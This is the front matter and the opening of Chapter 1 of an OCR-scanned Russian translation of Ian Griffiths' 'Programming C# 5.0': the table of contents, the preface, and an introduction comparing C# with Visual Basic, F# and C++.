Text
                    Иэн Гриффитс
Программирование на
£
ЭКСМО
МОСКВА
2014

УДК 004.42 ББК 32.973.26 Г 85 Authorized Russian translation of the English edition of Programming C# 5.0, 1st Edition © 2012 lan Griffiths (ISBN 9781449320416) This translation is published and sold by permission of O’Reilly Media, Inc., which owns or controls all rights to publish and sell the same. -z Гриффитс И. .. 'Г 85 Программирование на C# 5.0 / Иэн Гриффитс ; [пер. с англ. М. А. Райтмана]. — М. : Эксмо, 2014. — 1136 с. — (Мировой компьютерный бестселлер). ISBN 978-5-699-69313-9 Исчерпывающее комплексное руководство поможет вам узнать, насколько мощными возможностями обладает комбинация C# 5.0 и .NET 4.5. Большое количество примеров поможет при работе с такими особенностями С#-кода, как обобщения, динамическая типизация и новые возможности асинхронного программи- рования. Кроме того, вы узнаете обо всех тонкостях работы с XAML, ASP.NET, LINQ и другими инструментами платформы .NET. УДК 004.42 ББК 32.973.26 ISBN 978-5-699-69313-9 © Райтман М.А., перевод на русский язык, 2014 © Оформление. ООО «Издательство «Эксмо», 2014
ОГЛАВЛЕНИЕ Предисловие............................................................14 Для кого предназначена эта книга....................................14 Соглашения, принятые в этой книге...................................15 Использование примеров кода.........................................15 Благодарности.......................................................16 Глава 1. Знакомство с языком C#........................................17 Почему С#?..........................................................17 Почему не С#?.......................................................20 Отличительные черты C#..............................................23 Управляемый код и CLR...........................................25 Превосходство универсальности над специализацией................28 Асинхронное программирование ....'..............................30 Visual Studio.......................................................31 Анатомия простой программы..........................................35 Добавление проекта в существующее решение.......................37 Ссылка на один проект из другого проекта........................38 Написание теста модуля..........................................39 Пространства имен...............................................44 Классы..........................................................50 Точка входа программы...........................................50 Модульные тесты............................................... 52 Резюме..............................................................53 Глава 2. Основы программирования на C#.................................55 Локальные переменные................................................56 Область видимости............................................. 63 Инструкции и выражения..............................................69 Инструкции......................................................69 Выражения.......................................................71 Комментарии и пробелы...............................................78 Директивы препроцессора.............................................81 Символы компиляции..............................................81 terror и fwarning...............................................83 fline...........................................................83 fpragna.........................................................84 frogion и fendregion............................................85 Встроенные типы данных..............................................86 Числовые типы...................................................86 Булев тип......................................................100 Строки и символы...............................................101 Тип object.....................................................101 Операторы..........................................................102 Управление потоком выполнения......................................109 Булевы решения с использованием инструкций if..................109 Множественный выбор с использованием инструкций switch.........112 Циклы while и do...............................................115 Циклы for в стиле языка С......................................116 Итерация по коллекциям с помощью циклов foreach................119 Резюме.............................................................120 Глава З.Ъшы...........................................................121 Классы........................................................... 121 Статические члены..............................................126 Статические классы.............................................128 Ссылочные типы.................................................129 5
Оглавление Структуры.........................................................137 Когда следует использовать значимый тип.......................143 Члены.............................................................149 Поля..........................................................150 Конструкторы..................................................152 Методы........................................................164 Свойства......................................................171 Индексаторы...................................................177 Операторы.....................................................179 События.......................................................183 Вложенные типы................................................183 Интерфейсы........................................................185 Перечисления......................................................187 Другие типы.......................................................191 Анонимные типы................................................192 Частичные типы и методы...........................................193 Резюме............................................................195 Глава 4. Обобщения...................................................196 Обобщенные типы...................................................197 Ограничения.......................................................200 Ограничение до типа...........................................201 Ограничение до ссылочного типа................................204 Ограничение до значимого типа.................................208 Несколько ограничений.........................................209 Нулеподобные значения.............................................209 Обобщенные методы.................................................211 Выведение типов...............................................212 Как устроены обобщения............................................213 Резюме............................................................216 Глава 5. Коллекции...................................................217 Массивы...........................................................217 Инициализация массивов........................................222 Передача переменного числа аргументов с помощью ключевого слова parans..................................................223 Поиск и сортировка............................................225 Многомерные массивы...........................................235 Копирование и изменение размера...............................240 Класс List<T>................................................... 242 Интерфейсы списков и последовательностей..........................246 Реализация списков и последовательностей..........................253 Итераторы.....................................................253 Класс Collection<T>...........................................259 Класс ReadOnlyCollection<T>...................................260 Словари...........................................................262 Отсортированные словари.......................................265 Множества.........................................................267 Очереди и стеки...................................................269 Связанные списки..................................................270 Параллельные коллекции............................................271 Кортежи...........................................................273 Резюме............................................................274 Глава 6. Наследование................................................275 Наследование и преобразования. -..................................277 Наследование интерфейсов..........................................279 Обобщения.........................................................281 Ковариантность и контравариантность...........................281 Тип System.Object.................................................289 Повсеместно используемые методы типа object...................290 Наследование и доступность........................................291 6
Оглавление Виртуальные методы.................................................293 Абстрактные методы.............................................295 Запечатанные методы и классы.......................................304 Доступ к базовым членам............................................306 Наследование и конструирование.....................................307 Специальные базовые типы...........................................313 Резюме.............................................................315 Глава 7. Время жизни объекта..........................................316 Сборка мусора......................................................317 Определение достижимости объектов..............................319 Ненамеренное создание препятствий для сборки мусора............322 Слабые ссылки..................................................327 Освобождение памяти............................................331 Режимы работы сборщика мусора..... ............................340 Ненамеренное создание препятствий для уплотнения кучи..........344 Принудительная сборка мусора...................................349 Деструкторы и финализация..........................................350 Критические финализаторы.......................................355 Интерфейс IDieposable..............................................357 Опциональное удаление объектов.................................366 Упаковка...........................................................366 Упаковка типа Nullabla<T>......................................372 Резюме.................................................ь...........373 Глава 8. Исключения.................................................4. . 374 Источники исключений...............................................377 Исключения от API-интерфейсов..................................378 Исключения от вашего кода......................................382 Ошибки, выявляемые средой выполнения...........................382 Обработка исключений...............................................383 Объекты исключений.............................................384 Несколько блоков catch.........................................386 Вложенные блоки try............................................388 Блоки finally..................................................391 Выбрасывание исключений............................................392 Повторное выбрасывание исключений..............................393 Быстрое прекращение выполнения в случае ошибки.................398 Типы исключений....................................................398 Пользовательские исключения....................................401 Необработанные исключения..........................................406 Исключения и отладка...........................................409 Асинхронные исключения.............................................411 Резюме.............................................................415 Глава 9. Делегаты, лямбда-выражения и события..........................416 Типы делегатов......................................................418 Создание делегата...............................................419 Многоадресные делегаты..........................................424 Вызов делегата................................................ 426 Распространенные типы делегатов.................................428 Совместимость типов.............................................431 Что скрывается за синтаксисом...................................436 Встроенные методы...................................................440 Захваченные переменные..................................... . . 444 Лямбда-выражения и деревья выражений............................453 События.............................................................455 Стандартный шаблон делегата события.............................458 Пользовательские методы добавления и удаления...................459 События и сборщик мусора........................................463 События в сравнении с делегатами................................465 Делегаты в сравнении с интерфейсами.................................467 Резюме..............................................................468 7
Оглавление Глава 10. LINQ..........................................................470 Выражения запросов..................................................471 Выражения запросов в развернутом виде...........................476 Поддержка выражений запросов....................................478 Отложенное вычисление...............................................484 LINQ, обобщения и тип IQueryable<T>.................................488 Стандартные LINQ-операторы..........................................491 Фильтрация......................................................494 Оператор Select................................................ 497 Оператор SelectNany.............................................501 Упорядочивание..................................................505 Проверка принадлежности.........................................508 Конкретные элементы и поддиапазоны..............................510 Агрегация.......................................................516 Операции над множествами........................................522 Операции над всей последовательностью с сохранением порядка.....523 Группировка.....................................................525 Объединение данных..............................................531 Преобразование..................................................535 Генерирование последовательностей...................................541 Другие реализации LINQ..............................................541 Entity Framework................................................542 LINQ to SQL.....................................................543 Клиент служб данных WCF Data Services...........................543 Parallel LINQ (PLINQ)...........................................544 LINQ to XML.....................................................544 Реактивные расширения...........................................544 Резюме..............................................................545 Глава 11. Реактивные расширения.......................................... Технология Rx и версии платформы .NET................................ Базовые интерфейсы................................................... Интерфейс I0bseryer<T>........................................... Интерфейс IObeenrable<T>......................................... Выполнение публикации и подписки с использованием делегатов.......... Создание источника с использованием делегатов.................... Выполнение подписки на источник с использованием делегатов....... Методы для построения последовательностей............................ Метод Eupty...................................................... Метод Never...................................................... Метод Return..................................................... Метод Throw...................................................... Метод Range..................... ................................ Метод Repeat...........................•......................... Метод Generate................................................... LINQ-запросы......................................................... Операторы группирования.......................................... Операторы объединения............................................ Оператор SelectNany.............................................. Операторы агрегации и другие операторы, возвращающие единичное значение ........................................................ 546 548 551 553 555 563 563 568 570 570 570 571 571 571 572 572 574 577 578 585 585 Оператор конкатенации..........................................587 Операторы запросов из состава библиотеки Rx.........................588 Оператор Merge.................................................589 Оконные операторы..............................................591 Оператор Scan..................................................599 Оператор Anb...................................................601 Оператор DistinctUntilChanged . . . Лт-.*......................602 Планировщики.......................................................602 Указание планировщиков.........................................604 Встроенные планировщики........................................607 8
Оглавление Субъекты..............................................................609 Субъект Subject<T>................................................609 Субъект BehaviorSubject<T>........................................611 Субъект ReplaySub j есt<T>........................................612 Субъект AsyncSubject<T>...........................................613 Адаптация.............................................................613 Интерфейс IEnumerable<T>..........................................614 События уровня платформы .NET.....................................616 Асинхронные API-интерфейсы........................................619 Операции, спланированные по времени...................................622 Метод Interval....................................................622 Метод Timer.......................................................624 Метод Timestamp...................................................625 Метод Timelnterval................................................626 Метод Throttle....................................................627 Метод Sample......................................................627 Метод Timeout..................................................... 627-*/ Оконные операторы.................................................627 Метод Delay.......................................................629 Метод Delaysubscription...........................................629 Резюме................................................................630 Глава 12. Сборки.........................................................632 Сборки и Visual Studio................................................632 Анатомия сборки.......................................................633 Метаданные .NET................................ ..................635 Ресурсы................................................<..........635 Многофайловые сборки..............................................635 Прочие особенности формата РЕ.....................................637 Идентификатор типа....................................................639 Загрузка сборок.......................................................642 Явная загрузка....................................................646 Глобальный кэш сборок.............................................648 Имена сборок..........................................................650 Строгие имена.....................................................650 Номер версии......................................................655 Культура..........................................................662 Архитектура процессора............................................666 Переносимые библиотеки классов........................................668 Развертывание упакованных приложений..................................669 Приложения с интерфейсом в стиле Windows 8........................670 ClickOnce и ХВАР..................................................671 Защита................................................................674 Резюме................................................................675 Глава 13. Отражение......................................................676 Типы отражений........................................................677 Класс Assembly....................................................680 Класс Module......................................................685 Класс Memberlnfо..................................................687 Классы Туре и Typeinfo............................................690 Классы MethodBase, Constructorinfo и Methodinfo.......................697 Класс Parameterinfo...............................................700 Класс Fieldinfo...................................................700 Класс Propertyinfo................................................701 Класс Eventinfo...................................................701 Контексты отражений...................................................702 Резюме................................................................704 Глава 14. Динамическая типизация.........................................706 Тип dynamic...........................................................708 Ключевое слово dynamic и интероперабельность..........................712 Silverlight и объекты сценариев...................................716 Динамические языки платформы .NET.................................718 9
Оглавление Особенности ключевого слова dynanic..................................718 Ограничения использования типа dynanic...........................719 Пользовательские динамические объекты............................721 Класс KxpandoObject..............................................725 Ограничения типа dynanic.............................................726 Резюме...............................................................729 Глава 15. Атрибуты.......................................................731 Применение атрибутов.................................................731 Цели атрибутов...................................................734 Атрибуты, обрабатываемые компилятором............................737 Атрибуты, обрабатываемые CLR.....................................743 Определение и использование пользовательских атрибутов...............753 Тип атрибута.....................................................754 Извлечение атрибутов.............................................756 Резюме...............................................................760 Глава 16. Файлы и потоки.................................................762 Класс Stream.........................................................763 Позиция и поиск..................................................766 Выгрузка.........................................................767 Копирование......................................................769 Длина............................................................769 Очистка..........................................................771 Асинхронные операции.............................................772 Конкретные типы потоков..........................................773 Windows 8 и тип IRandcnAccossStrean..................................774 Типы для работы с текстом............................................779 Классы TestReader и TextWriter...................................780 Конкретные типы для считывания и записи текста...................782 Кодировка................,.......................................785 Файлы и каталоги.....................................................790 Класс FileStrean.................................................791 Класс File.......................................................795 Класс Directory..................................................800 Класс Path.......................................................802 Классы Fileinfo, Directoryinfo и FileSystenlnfo..................804 Известные каталоги...............................................805 Сердалйзация.........................................................807 Классы BinaryReader и Binarywriter.............................. 808 Сериализация CLR.................................................809 Сериализация контрактов данных...................................813 Класс ZblSeializer...............................................818 Резюме...............................................................818 Глава 17. Многопоточность................................................820 Потоки...............................................................820 Потоки, переменные и разделяемые состояния.......................822 Класс Thread.....................................................831 Пул потоков......................................................834 Потоковая родственность и SynchronizationContest.................841 Синхронизация........................................................846 Мониторы и ключевое слово lock...................................848 Структура SpinLock...............................................856 Блокировки чтения/записи.........................................859 Объекты событий............................?.....................860 Барьер...........................................................865 Класс Countdownlvent.............................................865 Семафор..........................................................866 Мьютекс..........................................................867 Класс Interlocked................................................868 10
Оглавление Ленивая инициализация...........................................872 Другие возможности поддержки параллелизма, предоставляемые в библиотеке классов............................................ 875 Задачи...............................................................876 Классы Talk и Taik<T>............................................877 Продолжения......................................................881 Планировщики.....................................................884 Обработка ошибок.................................................887 Пользовательские беспоточные задачи..............................888 Взаимосвязи предок/потомок.......................................890 Составные задачи.................................................891 Другие асинхронные шаблоны...........................................892 Отмена...............................................................894 Параллелизм..........................................................895 Класс Parallel...................................................895 Провайдер Parallel LINQ..........................................897 Потоки данных TPL................................................897 Резюме............................................................. 898 Глава 18. Асинхронные возможности языка.................................899 Ключевые слова для асинхронной работы: async и await.................900 Контексты выполнения и синхронизации.............................906 Множественные операции и циклы...................................908 Возвращение задачи...............................................911 Применение ааупс к вложенным методам.............................914 Шаблон await.........................................................915 Обработка ошибок.....................................................921 Валидация аргументов........................................ . . 923 Отдельные и множественные исключения.............................925 Параллельные операции и пропущенные исключения...................928 Резюме...............................................................929 Глава 19. XAML..........................................................931 Фреймворки на основе XAML............................................932 WPF.............................................................933 Silverlight.....................................................935 Windows Phone...................................................938 Среда выполнения Windows и приложения с пользовательским интерфейсом в стиле Windows 8....................................939 Основы XAML.........................................................941 Пространства имен XAML и XML.....................................942 Сгенерированные классы и отделенный код..........................944 Элементы-потомки.................................................947 Элементы свойств.................................................948 Обработка событий................................................949 Работа с потоками................................................951 Компоновка..........................................................952 Свойства.........................................................953 Панели...........................................................961 Элемент управления Scrollviewer..................................975 События компоновки...............................................975 Элементы управления................................................ 977 Элементы управления содержимым...................................978 Элементы управления Slider и ScrollBar...........................983 Индикаторы прогресса.............................................984 Списковые элементы управления....................................986 Шаблоны элементов управления.....................................988 Пользовательские элементы управления.............................993 Текст...............................................................994 Отображение текста...............................................995 Редактирование текста............................................998 11
Оглавление Привязка данных.................................................1000 Шаблоны данных...............................................1005 Графика.........................................................1009 Фигуры.......................................................1009 Точечные рисунки.............................................1010 Мультимедийные файлы.........................................1012 Стили...........................................................1014 Резюме..........................................................1015 Глава 20. ASP.NET...................................................1016 Razor...........................................................1018 Выражения....................................................1018 Управление потоком данных....................................1022 Блоки кода...................................................1023 Явное указание контента......................................1025 Страничные классы и объекты..................................1026 Использование других компонентов.............................1027 Страницы компоновки..........................................1028 Стартовые страницы...........................................1031 Веб-формы.......................................................1032 Серверные элементы управления................................1032 Выражения....................................................1040 Блоки кода...................................................1040 Стандартные страничные объекты...............................1042 Страничные классы и объекты..................................1042 Использование других компонентов.............................1043 Главные страницы.............................................1044 MVC.............................................................1046 Типичный макет MVC-проекта...................................1047 Написание моделей............................................1055 Написание представлений......................................1058 Написание контроллеров.......................................1060 Обработка дополнительного ввода..............................1063 Генерирование активных ссылок................................1066 Маршрутизация...................................................1067 Резюме..........................................................1073 Глава 21. Интероперабельность.......................................1074 Вызов нативного кода.....’ .....................................1075 Маршалинг....................................................1075 32 бит и 64 бит..............................................1087 Безопасные манипуляторы......................................1088 Безопасность.................................................1091 Платформозависимый вызов........................................1092 Соглашение о вызовах.........................................1093 Обработка текста.............................................1094 х' Имя точки входа........................................... 1095 х ' Возвращаемые значения в стиле СОМ.............................1095 Обработка ошибок по принципу Win32...........................1101 СОМ.............................................................1102 Время жизни оболочки исполняющей среды.......................1103 Метаданные...................................................1106 Написание сценариев..........................................1115 Windows Runtime.................................................1120 Метаданные...................................................1120 Типы фреймворка Windows Runtime..............................1121 Буферы.......................................................1122 Небезопасный код................................................1125 C++/CLI и расширения компонентов................................1127 Резюме..........................................................1128 Предметный указатель.................................................ИЗО 12
Я посвящаю эту книгу моей прекрасной жене Деборе и моей замечательной дочери Хейзел, поддерживавшим меня в процессе работы над книгой.
ПРЕДИСЛОВИЕ Язык C# уже вошел в свое второе десятилетие. Все это время он не- уклонно наращивал мощь и размер, однако его главные характеристики компания Microsoft всегда оставляла нетронутыми — C# и сейчас вос- принимается как тот же язык, который был впервые представлен обще- ственности в 2000 году. Каждая новая возможность разрабатывалась с расчетом на четкую интеграцию с остальными, что позволило обеспе- чить расширение языка без превращения его в бессвязное множество разнообразных функций. Данная философия особенно явно проявля- ется в наиболее важном нововведении C# 5.0 — поддержке асинхрон- ного программирования. Хотя возможность использовать асинхронные API-интерфейсы присутствовала в C# всегда, раньше для этого нужно было написать достаточно сложный код. В C# 5.0 вы можете написать асинхронный код, который будет выглядеть точно так же, как обычный, таким образом, вместо утяжеления новая поддержка асинхронного про- граммирования делает язык проще. - Однако, несмотря на то что по своей сути C# остается достаточно простым языком, сейчас о нем можно сказать гораздо больше по сравне- нию с его первой версией. Каждое новое издание этой книги реагирова- ло на развитие языка увеличением количества страниц; настоящее изда- ние не просто добавляет новые детали, но и требует от своих читателей несколько более высокого уровня технической подготовки. Для кого предназначена эта книга Я писал ее для опытных разработчиков — я занимаюсь программи- рованием долгие годы, и моим намерением было создать такую книгу, какую я сам хотел бы прочесть в том случае, если бы все эти годы про- граммировал на других языках и приступил к изучению C# сегодня. В то время как предыдущие издания объясняли некоторые базовые кон- цепции, такие как классы, полиморфизм и коллекции, в случае с данной книгой я предполагаю, что читатели уже знают обо всем этом. И хотя 14
Предисловие первые главы по-прежнему описывают, как C# представляет упомяну- тые общеизвестные идеи, основное внимание теперь уделяется специ- фичным для данного языка деталям, а не широким концепциям. Таким образом, если вы читали предыдущие издания книги, вы заметите, что нынешнее в гораздо меньшей степени касается этих базовых концепций и уделяет больше внимания всему остальному. Соглашения, принятые в этой книге В этой книге приняты следующие условные обозначения. Полужирный шрифт. Используется для обозначения интернет- адресов, команд меню, окон, элементов управления. Курсивный шрифт. Используется для обозначения новых терминов, а также для выделения в тексте слов, требующих особого внимания. Моноширинный шрифт. Используется для записи листингов программ, а также для обозначения в тексте таких элементов программ, как имена переменных и функций, базы данных, типы данных, переменные окру- жения, инструкции и ключевые слова. Полужиркый моноширинный шрифт. Используется для выделения строк кода. Курсивный моноширинный шрифт. Используется для обозначения в коде элементов, которые следует заменить конкретными значениями. Этим знаком может быть обозначен совет, предложение или общее замечание. Этим знаком маркируются предупреждения. Использование примеров кода Эта книга призвана помочь вам в выполнении работы. В больший- стве случаев вы можете использовать приведенный здесь код в своих программах или документации. Если вы не воспроизводите значитель- 15
Предисловие ную часть кода, вам не нужно связываться с нами. Например, написание программы, в которой используется несколько фрагментов кода из этой книги, не требует получения разрешения. Продажа или распростране- ние дисков с примерами из книг издательства «Эксмо» требует получе- ния разрешения. Ответ на вопрос путем цитирования текста и примера кода из этой книги не требует получения разрешения. Включение зна- чительной части примера кода из данной книги в документацию вашего продукта требует получения разрешения. Мы будем признательны за указание ссылки на цитируемый источ- ник, хотя и не настаиваем на этом. Благодарности Прежде всего я хотел бы сказать спасибо официальным техническим рецензентам книги: Глину Гриффитсу (Glyn Griffiths), Алексу Тернеру (Alex Turner) и Чандеру Дхаллу (Chander Dhall). Также не могу не выра- зить признательность тем людям, которые выполняли рецензирование отдельных глав, оказывали иную помощь или предоставляли инфор- мацию, позволившую улучшить содержание книги: Брайану Расмуссе- ну (Brian Rasmussen), Эрику Липперту (Eric Lippert), Эндрю Кеннеди (Andrew Kennedy), Дэниелу Синклеру (Daniel Sinclair), Брайану Рэн- деллу (Brian Randell), Майку Вудрингу (Mike Woodring), Майку Толти (Mike Taulty), Мэри Джо Фоли (Магу Jo Foley), Барту Де Смету (Bart De Smet) и Стивену Тоубу (Stephen Toub). Спасибо всем сотрудникам издательства O’Reilly, благодаря чьей ра- боте эта книга смогла увидеть свет. В частности, спасибо Рэйчел Руме- лиотис (Rachel Roumeliotis) за то, что поддержала меня в идее взяться за новое издание, а также Кристен Борг (Kristen Borg), Рэйчел Монаган (Rachel Monaghan), Гретхен Джайлс (Gretchen Giles) и Ясмине Греко (Yasmina Greco) за их неустанную поддержку. Наконец, спасибо Джону Осборну (John Osborn) за то, что благодаря ему я стал автором изда- тельства O’Reilly, когда написал свою первую книгу.
Глава 1 ЗНАКОМСТВО С ЯЗЫКОМ C# Язык программирования C# (произносится «си-шарп») может ис- пользоваться для разработки множества разных типов приложений, включая сайты, игры, настольные и мобильные приложения, а также утилиты командной строки. C# занимает центральное место в мире раз- работки для Windows вот уже в течение десяти лет, поэтому когда ком- пания Microsoft объявила о введении в операционной сцстеме Windows нового* стиля приложений, оптимизированного для сенсорных взаимо- действий на планшетных компьютерах, ни у кого не вызвал удивления тот факт, что C# стал одним из первых четырех языков (наряду с C++, JavaScript и Visual Basic), которые смогли обеспечить полную поддерж- ку так называемых приложений в стиле Metro. Несмотря на то что C# был разработан компанией Microsoft, этот язык и его среда выполнения документированы организацией по стан- дартизации ЕСМА (European Computer Manufacturers Association, Европейская ассоциация изготовителей компьютеров), благодаря чему C# может реализовать кто угодно, и эта возможность не являет- ся чисто гипотетической. Проект с открытым исходным кодом Mono, доступный в Интернете по адресу www.mono-project.com, предо- ставляет инструменты для разработки приложений на С#, которые смогут функционировать в операционных системах Linux, OS X, iOS и Android. Почему С#? Несмотря на множество применений С#, для тех же целей всегда можно использовать другие языки. Так по какой причине следует пред- почесть C# другим языкам? Это зависит от того, для чего применяется язык и что вам нравится или не нравится в программировании. Лично я нахожу C# очень мощным и гибким, кроме того, он работает на доста- * По крайней мере, нового для Windows. 17
Глава 1 точно высоком уровне абстракции, что позволяет мне не тратить массу усилий на малозначительные детали, не имеющие прямого отношения к тем задачам, решить которые призваны мои программы (в отличие от C++). Мощь C# обусловлена в значительной степени поддерживаемыми им техниками, такими, например, как объектно-ориентированные воз- можности, обобщение и функциональное программирование. Этот язык поддерживает как динамическую, так и статическую типизацию. Бла- годаря поддержке технологии LINQ, он предоставляет возможности по работе со списками и множествами. А в самой последней версии языка также появилась встроенная поддержка асинхронного программиро- вания. Некоторые из наиболее важных преимуществ C# предоставляют- ся средой выполнения этого языка; например, такие возможности, как безопасное выполнение в песочнице, проверка типов во время выпол- нения, обработка исключений, управление потоками и, возможно, самое важное — автоматическое управление памятью. Предоставляемый сре- дой выполнения сборщик мусора избавляет разработчиков от большого объема действий по высвобождению уже неиспользуемой программой памяти. Конечно, языки существуют не в изолированном пространстве — не менее важным является наличие высококачественных библиотек с ши- роким набором возможностей. Некоторые элегантные и академически красивые языки восхищают лишь до тех пор, пока вы не попробуете с их помощью сделать что-либо прозаическое, например, выполнить доступ к базе данных или сохранить настройки пользователя. Вне зависимости от того, насколько мощный набор идиом программирования предлагает язык, он также должен предоставить полный и удобный доступ к служ- бам базовой платформы. Благодаря платформе .NET Framework, в этом отношении C# стоит на очень прочной почве. Платформа .NET Framework включает в себя как среду выполнения, так и библиотеки, используемые Сопрограммами в операционной си- стеме Windows. В соответствии со своим названием Общеязыковая среда выполнения (CLR, Common Language Runtime) поддерживает не только С#, но и любые другие языки платформы .NET Эта платформа позво- ляет использовать множество языков программирования. Например, в среде разработки от компании Microsoft, Visual Studio, можно рабо- тать с Visual Basic, F# и .NET-расширениями для C++; также существу- 18
Знакомство с языком C# ют свободные реализации языков Python и Ruby для платформы .NET (которые называются, соответственно, IronPython и IronRuby). Присут- ствующая в CLR Общая система типов (CTS, Common Type System) обе- спечивает возможность свободного взаимодействия разных языков, то есть библиотеки .NET обычно допускается использовать из любого язы- ка этой платформы — F# может работать с библиотеками, написанным на С#, C# — с библиотеками, написанными на Visual Basic, и т. д. .NET Framework включает обширную библиотеку классов. Помимо оберток для возможностей операционной системы, эта библиотека также предо- ставляет значительный объем собственной функциональности. Она со- держит более 10 000 классов, каждый из которых обладает множеством^ членов. Некоторые части библиотеки классов платформы .NET - Framework являются специфичными для операционной систе- 4?*' мы Windows. Например, ряд возможностей этрй библиотеки касается создания настольных приложений для Windows. Тем не менее другие части библиотеки более универсальны, как, например, классы HTTP-клиента, которые будут иметь значе- ние в любой операционной системе. Используемая языком C# спецификация ЕСМА для среды выполнения определяет набор библиотечных возможностей, не зависящих от опера- ционной системы. Библиотека классов .NET Framework, ко- нечно, поддерживает их все, а также предлагает ряд возмож- ностей, специфичных для Microsoft. Однако дело не ограничивается только встроенной библиоте- кой — свои библиотеки .NET-классов предоставляют также многие другие фреймворки. Например, достаточно большим набором API- интерфейсов .NET обладает платформа SharePoint. Кроме того, совсем не обязательно, чтобы библиотека была связана с каким-либо фрейм- ворком. Обширная экосистема .NET-библиотек включает как коммер- ческие, так и бесплатные библиотеки, а также такие, которые обладают открытым исходным кодом. Можно найти библиотеки математических утилит, синтаксического анализа или компонентов пользовательского интерфейса, и это лишь отдельные примеры. Однако даже если вам придется применять возможности опе- рационной системы, для которых нет оберток в библиотеке .NET, в C# вы найдете различные механизмы для работы со старыми API- 19
Глава 1 интерфейсами, такими как Win32 и СОМ. Некоторые аспекты меха- низмов интероперабельности являются довольно тяжеловесными, поэтому при необходимости работы с существующим компонентом, возможно, вам потребуется написать тонкую обертку, которая будет более дружественной к .NET. (Обертку также можно написать на C# — достаточно просто разместить громоздкие детали интеропе- рабельности в одном месте, не позволяя им засорять все исходные тексты.) Однако если с надлежащей тщательностью разработать но- вый COM-компонент, его можно сделать достаточно простым для непосредственного использования из С#. В операционной системе Windows 8 появился новый тип API для написания планшетных при- ложений в стиле Metro, WinRT, который является развитием СОМ. В отличие от взаимодействия с предыдущими API-интерфейсами операционной системы Windows, использование WinRT из C# носит очень естественный характер. Таким образом, вместе с C# мы получаем богатый набор встроенных в язык абстракций, мощную среду выполнения и легкий доступ к об- ширной функциональности платформы и библиотек. Почему не С#? Для хорошего понимания языка полезно сравнить его с альтерна- тивами», поэтому стоит рассмотреть ряд причин, по которым вы може- те предпочесть какие-то другие языки. Ближайшим соперником С#, вероятно, является Visual Basic, еще один «родной» язык платформы .NET, который предлагает практически те же преимущества, что и С#. Выбор здесь является главным образом вопросом синтаксиса. C# при- надлежит к семейству С-подобных языков, и если вы знакомы хотя бы с одним из языков этого семейства (в которое входят С, C++, Objective С, Java и JavaScript), то синтаксис C# сразу же покажется вам знако- мым. Однако если вы не знаете ни один из этих языков, но работали с версиями языка Visual Basic, существовавшими до появления .NET, или с вариантами этого языка для написания сценариев, такими как Visual Basic for Applications (VBA) из программного пакета Microsoft Office, то вам определенно будет легче освоить .NET-версию языка Visual Basic. Среда разработки Visual Studio предлагает еще один язык, который предназначен специально для платформы .NET Framework, — он назы- вается F#. Этот язык сильно отличается от C# и Visual Basic, областью 20
Знакомство с языком C# его применения главным образом являются сложные вычисления в сфе- ре машиностроения и финансов. F# в своей основе — функциональный язык программирования с прочными корнями в мире науки (наиболее близким к F# языком не из .NET-семейства является OCaml, который пользуется популярностью в университетской среде, но никогда не до- стигал коммерческого успеха). Этот язык хорошо подходит для особо сложных вычислений, так что, если ваше приложение должно в гораз- до большей степени думать, чем действовать, возможно, вам лучше вы- брать F#. Конечно, не следует забывать и о языке C++, который всегда оста- вался главным оплотом разработки для Windows. C++ постоянно раз- вивается, и в недавно опубликованном стандарте C++И (или, если использовать формальное название, ISO/IEC 14882:2011) этот язык приобрел дополнительный ряд возможностей, которые делает его го- раздо более выразительным по сравнению с предыдущими версиями; например, теперь в нем гораздо легче использовать функциональные идиомы программирования. Во многих случаях код на C++ способен обеспечить намного более высокую производительность, чем языки платформы .NET, отчасти потому, что C++ позволяет программисту по- добраться ближе к аппаратным составляющим компьютера, а отчасти потому, что у CLR намного более высокие накладные расходы по срав- нению с довольно бережливой средой выполнения языка C++. Кроме того, многие API-интерфейсы Win32 удобнее использовать в C++, а не в С#, и то же самое можно сказать в отношении некоторых (хотя и не всех) API-интерфейсов СОМ. Например, C++ является наилучшим вы- бором для последних версий графических API-интерфейсов от компа- нии Microsoft — DirectX. В компилятор C++ от Microsoft также вклю- чены расширения, позволяющие интегрировать код на этом языке в мир .NET, то есть C++ способен использовать все возможности библиотеки классов .NET Framework (и любых других .NET-библиотек). Таким об- разом, теоретически C++ составляет очень сильную конкуренцию С#. Однако одно из самых больших преимуществ этого языка в то же время является и его недостатком: уровень абстракции в C++ находится го- раздо ближе к нижележащему процессу работы компьютера, чем в С#. Отчасти потому C++ может обеспечивать лучшую производительность и способен более легко использовать некоторые API-интерфейсы, од- нако это означает также и то, что для того, чтобы что-то сделать в C++, обычно требуется приложить гораздо больше усилий. Однако, несмо- тря на этот недостаток, в ряде ситуаций C++ выглядит предпочтитель- нее С#. 21
Глава 1 “ Поскольку CLR поддерживает много языков, нет нужды выби- * рать только один из них для всего проекта. Проекты, преиму- 3?’*щественно основанные на С#, часто используют C++ для ра- боты с недружественными с C# API-интерфейсами, получая дружественную к C# обертку с помощью .NET-расширений для C++ (официально называемых C++/CLI). Несмотря на то удобство, которое дает такая свобода выбирать наиболее подходящий инструмент, у нее есть и своя цена. Разработчи- кам приходится выполнять «переключение контекста» в уме при каждом переходе от одного языка к другому, что может перевесить все преимущества. Использование нескольких языков дает хорошие результаты в том случае, когда каждо- му отводится четко определенная роль в проекте, такая, на- пример, как взаимодействие с несговорчивыми API-интер- фейсами. Конечно, Windows является не единственной возможной платфор- мой, и окружение, в котором будет выполняться ваш код, окажет свое влияние на выбор языка. Иногда вам потребуется рассчитывать на не- которую конкретную систему (например, Windows на настольных ком- пьютерах или, возможно, iOS на мобильных устройствах), поскольку ее будет использовать большинство ваших пользователей. Однако в случае создания веб-приложения вы можете выбрать какой угодно язык и опе- рационную систему на стороне сервера и написать приложение, которое будет прекрасно работать в любой операционной системе пользователя, на настольном компьютере, мобильном телефоне или планшете. Поэ- тому^даже в случае повсеместного распространения Windows в вашей организации вам не обязательно иметь платформу Microsoft на серве- ре. Откровенно говоря, существует достаточно много языков, которые позволяют создавать хорошие веб-приложения, поэтому ваш выбор не будет определяться исключительно возможностями языка. С гораздо большей вероятностью выбор будет зависеть от квалификации ваших специалистов. Если среди них окажется много специалистов со знанием Ruby, то выбор C# в качестве языка разработки вашего следующего веб- приложения, вероятно, будет не самым эффективным использованием доступных талантов. Таким образом, C# следует применять не в каждом проекте. Од- нако раз уж вы дочитали до этого места, смею предположить, что вы не отказались от мысли изучить язык С#. Так что же он собой пред- ставляет? 22
